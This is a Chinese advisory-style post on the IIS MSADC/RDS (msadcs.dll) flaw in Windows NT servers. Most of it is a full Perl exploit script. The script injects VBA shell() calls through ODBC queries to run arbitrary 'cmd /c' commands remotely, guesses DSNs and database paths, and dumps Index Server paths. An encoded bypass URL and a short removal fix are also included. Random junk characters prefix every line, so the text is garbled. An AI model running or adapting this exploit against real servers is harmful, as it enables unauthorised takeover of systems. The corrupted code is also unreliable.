IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
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u0GsU= _L mDF8Q( 涉及程序：
sT" U} Microsoft NT server
%t&n%dhJ !7MC[z(|N 描述：
YN1P9j#0d 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
+'9l 2DI; )GDP?Nc<Ik 详细：
lE~5 b 如果你没有时间读详细内容的话，就删除:
b[<zT[.: c:\Program Files\Common Files\System\Msadc\msadcs.dll
DGl_SMJb 有关的安全问题就没有了。
cD&53FPXC S) /(~ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
TFbMrIF
<StyO[ 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
G9 92{B 关于利用ODBC远程漏洞的描述，请参看:
!/W[6'M#p {AbQaw http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm @EZ@X/8{& 5Z]z ul@+* 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
:- B,Q3d http://www.microsoft.com/security/bulletins/MS99-025faq.asp zY\pZG 0FrmZ$ 这里不再论述。
/3F4t
V Az29?|e 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
5?+ECxPt
NIcPjo /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
.lVC>UT 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
jM8e2z3 lwEJ)Bv 99%oY #将下面这段保存为txt文件，然后: "perl -x 文件名"
} 5~|h% nUi
4! |r #!perl
5[.Dlpa'7 #
F-?K]t# # MSADC/RDS 'usage' (aka exploit) script
T8&
kxp #
$Hcp.J[ O # by rain.forest.puppy
8W$uw~|dw #
tMxa:h; /x # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
-1Acprr # beta test and find errors!
3n;UXYJ% hj@< wU use Socket; use Getopt::Std;
gs)wQgJ [ getopts("e:vd:h:XR", \%args);
!|hxr#q=4 >p4# AfGF print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
M>+FIb( & kKopJH if (!defined $args{h} && !defined $args{R}) {
6 /^$SWd2 print qq~
',L>UIXw Usage: msadc.pl -h <host> { -d <delay> -X -v }
0 e 1W& -h <host> = host you want to scan (ip or domain)
8?ldD -d <seconds> = delay between calls, default 1 second
q_ eGY&M -X = dump Index Server path table, if available
S(kj"t*3 -v = verbose
]~g6#@l -e = external dictionary file for step 5
J%d\ 7 BdcTKC Or a -R will resume a command session
U)~?/s{v zPWX%1Qr ~; exit;}
C$o#zu q - T#'+w@Q9{9 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
\ I J\ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
u_[^gS7 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
1&A @Zo5| if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
W99MA5 P $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
G8%Q$ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
H)&6I33` x/*ndH if (!defined $args{R}){ $ret = &has_msadc;
4.)hC b die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
! =j\pu}
Z dI'cZt~n print "Please type the NT commandline you want to run (cmd /c assumed):\n"
l:v:f@M& . "cmd /c ";
%N 8/g ]`7 $in=<STDIN>; chomp $in;
hA1\+r $command="cmd /c " . $in ;
{2<A\nW fC>3{@h}* if (defined $args{R}) {&load; exit;}
EgO=7?(pW Hn"xn79nc print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
b0
))->&2 &try_btcustmr;
e;KZTH; Mf)0Y~_:R# print "\nStep 2: Trying to make our own DSN...";
5MsE oLg &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
9U1cH qV |:_WdU"Q] print "\nStep 3: Trying known DSNs...";
f t oz0Vb &known_dsn;
' f0*~Wq| ad^7t< a}< print "\nStep 4: Trying known .mdbs...";
\ a]JH\T)Q &known_mdb;
bl. y4 `p` )D 6 if (defined $args{e}){
~e,k 71 print "\nStep 5: Trying dictionary of DSN names...";
d& K2\n &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
)SG+9!AbMZ l]Ozy@
Ib print "Sorry Charley...maybe next time?\n";
=Kf V;.& exit;
u4QPO:,a4 0Lcd@3XL ##############################################################################
@i`*i@ g ~IvAnwQ' sub sendraw { # ripped and modded from whisker
iHy=92/Ww sleep($delay); # it's a DoS on the server! At least on mine...
kfa RN ^ my ($pstr)=@_;
KLpu7D5 (| socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
w'[lIEP 2$ die("Socket problems\n");
]$ [J_f*x if(connect(S,pack "SnA4x8",2,80,$target)){
ax{+7 k select(S); $|=1;
;O=tSEe print $pstr; my @in=<S>;
W =YFe<Q select(STDOUT); close(S);
%Od?(m"& return @in;
)G$/II9d } else { die("Can't connect...\n"); }}
i = $ ## \tf \fa ##############################################################################
K5-wuD1 lA[BV7.=7 sub make_header { # make the HTTP request
bDI#' F my $msadc=<<EOT
gf/$M[H! POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
@QiuCB User-Agent: ACTIVEDATA
_[|~(lDJl Host: $ip
-V@vY42 Content-Length: $clen
vZj:\g eV Connection: Keep-Alive
'PW~4f/m JSXudz5 c ADCClientVersion:01.06
,f0|eu> Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
nG< _&h "&;>l<V --!ADM!ROX!YOUR!WORLD!
BS<5b*wG Content-Type: application/x-varg
}C1&}h Z Content-Length: $reqlen
hES_JbX}] ssbvuTr EOT
v%O KOrJ ; $msadc=~s/\n/\r\n/g;
4DY\Qv W5 return $msadc;}
sE87}Lz hKP7p ##############################################################################
,!U._ic'B pyA;%vJn sub make_req { # make the RDS request
^`ah\L my ($switch, $p1, $p2)=@_;
: vN'eL|# my $req=""; my $t1, $t2, $query, $dsn;
*Dx &} " b#;%TbDF if ($switch==1){ # this is the btcustmr.mdb query
` #Qlr+X $query="Select * from Customers where City=" . make_shell();
^_FB .y% $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
^|yw)N ]Q/ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
;Z]i$Vi_r TVVL1wZ elsif ($switch==2){ # this is general make table query
hwkm'$} $query="create table AZZ (B int, C varchar(10))";
p o@=$HK $dsn="$p1";}
WW33ZJ vR$[#` X elsif ($switch==3){ # this is general exploit table query
'TWZ@8h~ $query="select * from AZZ where C=" . make_shell();
] ?!#*<t r $dsn="$p1";}
5U)Ia>p Y r6wY s(% elsif ($switch==4){ # attempt to hork file info from index server
y8"8QH $query="select path from scope()";
'0QrM,B9 $dsn="Provider=MSIDXS;";}
dg[ &5D1Q _U}pdzX? elsif ($switch==5){ # bad query
A$gP: 1&m $query="select";
px6 [1'|g $dsn="$p1";}
6Y4sv5G m\QUt ; $t1= make_unicode($query);
rro92(y $t2= make_unicode($dsn);
O iRhp( $req = "\x02\x00\x03\x00";
f9FJ:? $req.= "\x08\x00" . pack ("S1", length($t1));
&'{6 _-kh $req.= "\x00\x00" . $t1 ;
P|,@En 1! $req.= "\x08\x00" . pack ("S1", length($t2));
'Fi\Qk'D@ $req.= "\x00\x00" . $t2 ;
+&?#Gdb $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
y;zp*(}f$h return $req;}
d:08@~# ) #G5XS+) ##############################################################################
' S %?&4 %M"rc4Xd sub make_shell { # this makes the shell() statement
bgD4;) ?5b return "'|shell(\"$command\")|'";}
[( Z{5gK T,z 7U2O ##############################################################################
cXM4+pa=% mS) |i+5 sub make_unicode { # quick little function to convert to unicode
nf#;]FijB my ($in)=@_; my $out;
_a?c,<A for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
\09m
?;^ return $out;}
HCOv<k Nn/m e ##############################################################################
Q l`N)! /) 6+I(H sub rdo_success { # checks for RDO return success (this is kludge)
quXL'g my (@in) = @_; my $base=content_start(@in);
#mhR^60, if($in[$base]=~/multipart\/mixed/){
7l Q@I}i return 1 if( $in[$base+10]=~/^\x09\x00/ );}
NDsF<2 A4 return 0;}
X2CpA;#;7l ?` ?HqR0 ##############################################################################
H@ab]& p0c*)_a* sub make_dsn { # this makes a DSN for us
sw<GlF " my @drives=("c","d","e","f");
R_? Q`+X print "\nMaking DSN: ";
y 5>X0tT foreach $drive (@drives) {
{O24:'K& print "$drive: ";
4 :1URhE my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
Mn`) ; [ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
TVy\% FP^L . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
.|ZO2MCd $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
1 Hw %DJ return 0 if $2 eq "404"; # not found/doesn't exist
p7H0| > if($2 eq "200") {
Sv&_LZ-"P foreach $line (@results) {
=$kSvCjP return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
D==C"} J } return 0;}
6 ZvGD}/ o $PY 0~# ##############################################################################
|HT5G=dw >;wh0dBe sub verify_exists {
o:oQF[TcFO my ($page)=@_;
*@; Pns]L- my @results=sendraw("GET $page HTTP/1.0\n\n");
[S Jx\O s return $results[0];}
Ql 2zC9C [g<rzhC~= ##############################################################################
}
O:Y?Wq^ }:Q Q{h_ sub try_btcustmr {
B!J~ t8 my @drives=("c","d","e","f");
b!lS=zIN my @dirs=("winnt","winnt35","winnt351","win","windows");
zDakl*
6*W7I- A foreach $dir (@dirs) {
$, I%g< print "$dir -> "; # fun status so you can see progress
4%refqWK foreach $drive (@drives) {
!>E$2}Q|] print "$drive: "; # ditto
,)u1r3@I^ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
^T>P $reqlenlen=length( "$reqlen" );
_!qi`A $clen= 206 + $reqlenlen + $reqlen;
:v$][jZ2 $"e$#<g my @results=sendraw(make_header() . make_req(1,$drive,$dir));
5t=7- if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
msf%i ! else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
@$G{t^&os Ms>CO7Nvy ##############################################################################
TzSEQ S{ -] @cUx sub odbc_error {
NeI#gJ1A my (@in)=@_; my $base;
HpCTQ\H my $base = content_start(@in);
W!Qaa(o? if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
:OEovk(` $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
5rX_85 ] $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
l&JV.}qGB8 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
8'<RPU} M return $in[$base+4].$in[$base+5].$in[$base+6];}
g#*LJ `1 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
S {d]0 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
(T65pP_P 7 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
]a=n(`l? (R^qY"H
2 ##############################################################################
= Z
/* E'g?44vyw sub verbose {
. DrGr:UW my ($in)=@_;
Iz_#wO return if !$verbose;
u{J\X$] print STDOUT "\n$in\n";}
zg}#X6\G<_ v#^ _ | ##############################################################################
S UB rFsA I+GP`=\ sub save {
3[*x'"Q;H my ($p1, $p2, $p3, $p4)=@_;
%(}%#-X open(OUT, ">rds.save") || print "Problem saving parameters...\n";
OCN:{ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
R+&{lc close OUT;}
NG+%H1!$_ } q?*13iy( ##############################################################################
};m.8(}$) q9gk:Jt sub load {
;;>G}pG my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
G=( ja?d open(IN,"<rds.save") || die("Couldn't open rds.save\n");
QHHj.ZY @p=<IN>; close(IN);
3UgPVCT $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
<lN=< 9 $target= inet_aton($ip) || die("inet_aton problems");
x'iBEm print "Resuming to $ip ...";
JT cE {i $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
boeIO\2}P0 if($p[1]==1) {
Xh?J"kjof $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
N"[r_! $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
MwE^.6xl { my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
,>3b|-C- if (rdo_success(@results)){print "Success!\n";}
?QRoSQ6 else { print "failed\n"; verbose(odbc_error(@results));}}
XjFaP { elsif ($p[1]==3){
4(mRLr%l@` if(run_query("$p[3]")){
J;5G]$s print "Success!\n";} else { print "failed\n"; }}
],| ; elsif ($p[1]==4){
f\u5=!kjN if(run_query($drvst . "$p[3]")){
9i`MUE1Sh print "Success!\n"; } else { print "failed\n"; }}
!*!i&0QC~R exit;}
Ha/Gn !l u
OB`A-K ##############################################################################
]N^ >>k \R.Fmeko sub create_table {
y.aeXlc[ my ($in)=@_;
=< .h.n $reqlen=length( make_req(2,$in,"") ) - 28;
:F.eyA|#@G $reqlenlen=length( "$reqlen" );
fq(3uE]nC $clen= 206 + $reqlenlen + $reqlen;
i Qa=4'9; my @results=sendraw(make_header() . make_req(2,$in,""));
7<zI'^l return 1 if rdo_success(@results);
Ksb55cp` my $temp= odbc_error(@results); verbose($temp);
;\54(x}|K return 1 if $temp=~/Table 'AZZ' already exists/;
z)fg>?AGr return 0;}
[&5%$ T {(5M)|> ##############################################################################
RD6`b_]o jc7NYoT: sub known_dsn {
l0BYv&tu # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
r odr @ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
4 <A+Tf "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
K!O7q~s[D "banner", "banners", "ads", "ADCDemo", "ADCTest");
&eFv~9 *n*po.Xr foreach $dSn (@dsns) {
{SwvUWOf" print ".";
!glGW[r/7 next if (!is_access("DSN=$dSn"));
"vF7b|I if(create_table("DSN=$dSn")){
w1,6%?p(O print "$dSn successful\n";
8;fi1 "F;} if(run_query("DSN=$dSn")){
1 z-Q~m@@ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
+"3K)9H print "Something's borked. Use verbose next time\n";}}} print "\n";}
%Hpz ^<` W~?mr! ` ##############################################################################
t@+z r3 4>Y\Y$3 sub is_access {
NGAja jB my ($in)=@_;
osPrr QoH $reqlen=length( make_req(5,$in,"") ) - 28;
>mp" =Y $reqlenlen=length( "$reqlen" );
5^ e|802 $clen= 206 + $reqlenlen + $reqlen;
v]U0@#/p my @results=sendraw(make_header() . make_req(5,$in,""));
7N P
Ny my $temp= odbc_error(@results);
mApl}I verbose($temp); return 1 if ($temp=~/Microsoft Access/);
@YI- @ return 0;}
BE,H`G #h lQt* LWd[ ##############################################################################
(R^C a7F a3B^RbDP&8 sub run_query {
m ol|E={si my ($in)=@_;
9 UcSQ"D $reqlen=length( make_req(3,$in,"") ) - 28;
#TD0)C/ $reqlenlen=length( "$reqlen" );
Pi'[d7o $clen= 206 + $reqlenlen + $reqlen;
*6Q mYq6c< my @results=sendraw(make_header() . make_req(3,$in,""));
c n^z=? return 1 if rdo_success(@results);
cE7IHQ my $temp= odbc_error(@results); verbose($temp);
o0FVVS l return 0;}
u;H5p\zAzz :eL
ja* ##############################################################################
+*Pj,+;W &DX sub known_mdb {
r1 AG1Y my @drives=("c","d","e","f","g");
`t Zw(Z= h my @dirs=("winnt","winnt35","winnt351","win","windows");
tRmH6
my $dir, $drive, $mdb;
&BkdC,o my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
gB}UzEj^< )" H r3 # this is sparse, because I don't know of many
}NF7"tOL my @sysmdbs=( "\\catroot\\icatalog.mdb",
UO8./%'
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
[ |d QZ "\\system32\\certmdb.mdb",
.Eg[[K_iD "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
& /{x7;e
1ZRSeh my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
"Rq)%o$Z "\\cfusion\\cfapps\\forums\\forums_.mdb",
{U7A&e0eW "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
tN&_f ==e "\\cfusion\\cfapps\\security\\realm_.mdb",
&?#!%Ds "\\cfusion\\cfapps\\security\\data\\realm.mdb",
z|WDqB%/I "\\cfusion\\database\\cfexamples.mdb",
|<w
Z;d "\\cfusion\\database\\cfsnippets.mdb",
4<l& cP "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
p WLFJH}N "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
{aYCrk1 "\\cfusion\\brighttiger\\database\\cleam.mdb",
/+{1;}AT "\\cfusion\\database\\smpolicy.mdb",
O>Ao#_*hOb "\\cfusion\\database\cypress.mdb",
<"}WpT "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
>
@n?W" "\\website\\cgi-win\\dbsample.mdb",
ZE"Z_E;r "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
XE.Y?{,R$ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
Q??nw^8Hi ); #these are just
\
0aa0= foreach $drive (@drives) {
"|%'/p foreach $dir (@dirs){
` '}c-
Q foreach $mdb (@sysmdbs) {
+,A 7XBn print ".";
~4C:2 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
r^$WX@ t& print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
X0Z r?$q
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
WJ
m:?, print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
OE_> K w7q } else { print "Something's borked. Use verbose next time\n"; }}}}}
M$+2f.(>k) Y|y X]\, foreach $drive (@drives) {
V;>u() foreach $mdb (@mdbs) {
E@D}Sqt print ".";
q3$;lLsb;j if(create_table($drv . $drive . $dir . $mdb)){
q? 2kD"%$ print "\n" . $drive . $dir . $mdb . " successful\n";
e= w.7DSE if(run_query($drv . $drive . $dir . $mdb)){
TP?HxO_C print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
N
cnL -k. } else { print "Something's borked. Use verbose next time\n"; }}}}
23Juu V. }
r-IG.ym3 t*cVDA&K ##############################################################################
i }}}x
Hsi<!g. sub hork_idx {
@T 8$/ print "\nAttempting to dump Index Server tables...\n";
u s3fBY' print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
pi?[jU[Tn $reqlen=length( make_req(4,"","") ) - 28;
,? ci+M) $reqlenlen=length( "$reqlen" );
z{ydP Ra $clen= 206 + $reqlenlen + $reqlen;
X bL\l my @results=sendraw2(make_header() . make_req(4,"",""));
/8tF7Mmr if (rdo_success(@results)){
A3c&VT6Q my $max=@results; my $c; my %d;
6<+ 8[ o for($c=19; $c<$max; $c++){
(N` x $results[$c]=~s/\x00//g;
.~ yz1^ c $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
[sweN]b6F $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
n;,>Fv $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
s2M|ni= $d{"$1$2"}="";}
{rWFgn4Li foreach $c (keys %d){ print "$c\n"; }
&0QtHcXpR } else {print "Index server doesn't seem to be installed.\n"; }}
~<&47'D ye- R ##############################################################################
_Vf0MU;3f+ bRb+3au_x
sub dsn_dict {
~ f:jI1(} open(IN, "<$args{e}") || die("Can't open external dictionary\n");
RmcQGQ while(<IN>){
K^fH:pV $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
-+w^"RBV next if (!is_access("DSN=$dSn"));
XVNJ3/ if(create_table("DSN=$dSn")){
GO=3<Q{; print "$dSn successful\n";
)OgQ&, # if(run_query("DSN=$dSn")){
T{Rh n V1 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
o6~9 .~_e print "Something's borked. Use verbose next time\n";}}}
gBCO>nJws print "\n"; close(IN);}
~76 qFZe- *g;4?_f ##############################################################################
0'O*Y
]h+ .P>-Fh,_p sub sendraw2 { # ripped and modded from whisker
K%/:V sleep($delay); # it's a DoS on the server! At least on mine...
yk7 l{F my ($pstr)=@_;
Bk9 ? = socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
X P'7+/A die("Socket problems\n");
tW#=St0<.o if(connect(S,pack "SnA4x8",2,80,$target)){
j/Rm~!q print "Connected. Getting data";
ZQQ0} open(OUT,">raw.out"); my @in;
f}U@e0Lsb select(S); $|=1; print $pstr;
aO]FQ#l2b while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
= f*Wj\ close(OUT); select(STDOUT); close(S); return @in;
m6D]
} else { die("Can't connect...\n"); }}
;mYj`/Yj c _faW ##############################################################################
"Ooc;xD3< >84:1 ` sub content_start { # this will take in the server headers
P-c<[DSM'I my (@in)=@_; my $c;
3~&h9#7 Ke for ($c=1;$c<500;$c++) {
:4,
OA if($in[$c] =~/^\x0d\x0a/){
DHn u F@M if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
_[_mmf1;:' else { return $c+1; }}}
@g~hYc return -1;} # it should never get here actually
K=`;D bPHqZ*f ##############################################################################
Z 71.* %x G3z7; sub funky {
:?.RZKXQF my (@in)=@_; my $error=odbc_error(@in);
js#72T/_n if($error=~/ADO could not find the specified provider/){
L&s|<<L print "\nServer returned an ADO miscofiguration message\nAborting.\n";
"2~%-;c exit;}
RN"O/b}qQ if($error=~/A Handler is required/){
%W [#60 print "\nServer has custom handler filters (they most likely are patched)\n";
O3>m,v exit;}
WFBVAD if($error=~/specified Handler has denied Access/){
]@D#<[5\ print "\nServer has custom handler filters (they most likely are patched)\n";
%Z#s9QC exit;}}
|#6)) Dh }c o*%F{ 1 ##############################################################################
RN0=jo!58 Z<,$Xv L sub has_msadc {
<#r/4a "V my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
[V-OYjPAx my $base=content_start(@results);
{zf)im[. return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
LAT%k2%Wx return 0;}
3?rYt:Uf! 8w|-7$ v ########################
8^FAeV# F3L'f2yBG #& 5} 解决方案：
M((]> * g 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
}#h >*+Q 2、移除web 目录: /msadc
